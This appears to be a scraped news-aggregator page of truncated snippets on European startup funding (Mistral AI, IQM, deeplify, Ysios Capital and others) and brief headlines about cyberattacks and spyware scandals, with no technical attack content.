French AI unicorn Mistral AI continues to turn heads by announcing €722 million ($830 million) in debt financing to support the development of its first large-scale data centre near Paris, marking a significant step in Europe’s push towards sovereign AI infrastructure.

Founded in 2023, Mistral AI has quickly positioned itself as one of Europe’s most prominent AI startups, focusing on developing large language models and AI infrastructure.

Today’s announcement “underscores [the investors] confidence in our vision: Europe needs an ambitious AI cloud infrastructure and an independent AI stack.

Mistral AI plans to build 200 MW of AI computing capacity across Europe by the end of 2027.

Mistral A…

Our autonomy platform enables machinery manufacturers to embark on the necessary transformation very quickly without having to invest billions in in-house development.

With this Seed round, we can systematically tap into the core markets,” Dr Sebastian Pütz, CEO and co-founder, Nature Robots.

Nature Robots is a spin-off of the German Research Centre for Artificial Intelligence (DFKI) and was founded in January 2022.

With the new funding, Nature Robots will mainly allocate resources to expanding the team, including establishing an office in Munich.

In 2025, Nature Robots was awarded €2.5 million non-equity EIC-A funding from the European Commission and an additional €4 million as an equity c…

ViennaUP is back from 18 to 22 May 2026, bringing a renewed focus on health tech to Austria’s capital.

Set within one of Europe’s most established life sciences hubs, the festival offers more than a typical startup gathering.

Vienna is not just investing in the here and now for life sciences; the future looks bright, too, with a hotly-anticipated Life Sciences Center Vienna set to level up the city’s offer for life science and AI researchers.

There are several exclusive health tech events within a programme packed with forward-thinking talks, conferences, and workshops.

Beyond the usual panel discussions and networking opportunities, these events offer health tech startups the chance to tak…

Espoo-based IQM Quantum Computers, a leader in full-stack superconducting quantum computers, today announced that it has secured a €50 million financing package from funds and accounts managed by BlackRock.

This facility will help accelerate IQM’s technology development, boost R&D efforts, facilitate entry into new markets, and strengthen IQM’s leadership in quantum computing.

“We build open and transparent quantum systems that institutions can operate directly, enabling hands-on use, long-term capability building, and full control over their quantum infrastructure.

This enables the company to accelerate its innovation cycles, deliver quantum computing to its customers, and support the grow…

“Space-based solar power has long been considered something for the distant future.

Dr Vijendran was responsible for the Solaris programme on space-based solar energy at the European Space Agency (ESA) and was involved in the Mars Sample Return Mission.

Terraspark believes that space-based solar energy provides a solution.

In orbit, solar energy is steady, unaffected by weather, and accessible worldwide.

The company captures solar energy in space and safely transmits it to Earth via radio frequency.

deeplify, a Bochum-based industrial AI startup, today announced that it has raised €2 million in a pre-Seed round to modernise how critical infrastructure is inspected and managed.

deeplify has developed proprietary technology for a previously highly under-digitised and safety-critical industrial infrastructure,” said Tom Villinger, CEO of D11Z.

Founded in 2023 by Jan Löwer (CEO), Christoph Siemer (COO), and Felix Asanger (CTO), deeplify builds AI software for industrial inspection and asset integrity management.

Deeplify states that Europe’s chemical industry alone comprises around 31,000 companies, many of which operate ageing infrastructure.

To address this, deeplify has developed an end…

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What receives far less attention are the leadership structures behind these technologies, and the women increasingly shaping them.

It requires translating biological complexity into reliable, scalable systems, and doing so under regulatory, operational, and climate pressure.

Why funding gaps persistDespite increasing visibility of women in AgriTech, access to capital remains uneven, particularly at later funding stages.

Agricultural innovation depends on trust: trust in biology, in technology, and in the people leading it.

Creating pathways for more women into AgriTech leadership, through systemic sponsorship and informed investment, is not about representation alone.

Ysios Capital, a Spanish venture capital firm specialising in life sciences, today announced the launch of InceptionBio, a new fund with a target size of €100 million focused on BioTech company creation and early-stage project development.

Joan Perelló, Managing Partner at Ysios Capital, will lead the fund, alongside partner Arturo Urrios.

“Spain has world-class science and a unique opportunity to translate that science into globally impactful BioTech companies.

Founded in 2008, Ysios Capital manages over €400 million in assets through its three venture capital funds and also acts as investment advisor to Telescope Biotech Fund, a listed BioTech fund managed by Andbank Wealth Management.

Ys…

Empirical Ventures, a specialist deeptech Fund, has secured an additional £10 million British Business Bank commitment to back the UK’s best venture scientists, bringing its total support to £15 milli...

Today, VC firm P101 released the tenth edition of the "State of Italian VC" report, an analysis of the evolution of the Italian innovation industry. The Italian tech sector includes more than 14,000 i...

German tech investor Maguar , which specialises in medium-sized B2B software companies, has acquired a significant stake in GlobalSuite Solutions, a multinational software company specialising in Gove...

Midas, a platform for composable on-chain investmentproducts, has raised $50 million in Series A funding. The round was led by RRE Ventures and Creandum, with participation from Framework Ventures, HV...

TerraSpark, a developer of space-based solar energysystems, has raised over €5 million in a pre-seed financing round. Investorsinclude Daphni, better ventures, the Hans(wo)men Group, and a group ofstr...

miros, a Lausanne-based startup founded in 2023 and spun out of the EPFL ecosystem, announced the closing of a €1.1 million (CHF 1 million) Pre-Seed funding round from various business angels. miros ...

London’s Air Street Capital has raised a large Fund III with eyes locked on backing early-stage European and North American AI companies.

EU lawmakers found their government-issued devices were blocked from using the baked-in AI tools, amid fears that sensitive information could turn up on the U.S. servers of AI companies.

An alleged ransomware attack has taken down the systems of the Sapienza University of Rome.

The Irish government announced that it wants to pass a law that would grant police more surveillance powers, such as using spyware to fight serious crime, while aiming to protect the privacy rights of its citizens.

Europe's startup market hasn't produced meaningful numbers but there is reason to believe the data will start to change.

Apple is adding renewable power to offset customer charging and support its operations, including third-party manufacturing in China.

Four major European airports in Berlin, Brussels, Dublin, and London continue to have flight delays due to a cyberattack on Collins Aerospace, a provider of check-in systems.

A cyberattack targeting Collins Aerospace, a provider of airport check-in systems, sparked delays and disrupted flights across Europe over the weekend.

Dawn Capital’s latest partner, Shamillah Bankiya, stopped by Equity this week to talk about the European landscape and the biggest misconceptions Americans have about the European startup world.

Europe’s startup scene is having a moment, with European unicorns multiplying and American VCs setting up shop across the pond. But while European funding dominates the early stages, late-stage capital still flows primarily from the U.S. So what does this mean for European founders, and how is the continent carving out its own identity in […]

The companies want to launch the robotaxi services in Germany and the U.K. first, pending regulatory approval.

Europe’s fintech darling Revolut is looking to raise a new funding round that would give it a $65 billion valuation, the Financial Times reports. The UK-based company is reportedly in talks to raise around $1 billion by issuing new shares and selling existing ones. The US-based firm Greenoaks is said to be leading the round, […]

The confirmation of two hacked victims further deepens an ongoing spyware scandal that, for now, appears largely focused on the Italian government.

The Italian government claims that accepting Paragon’s help would have compromised national security and classified information.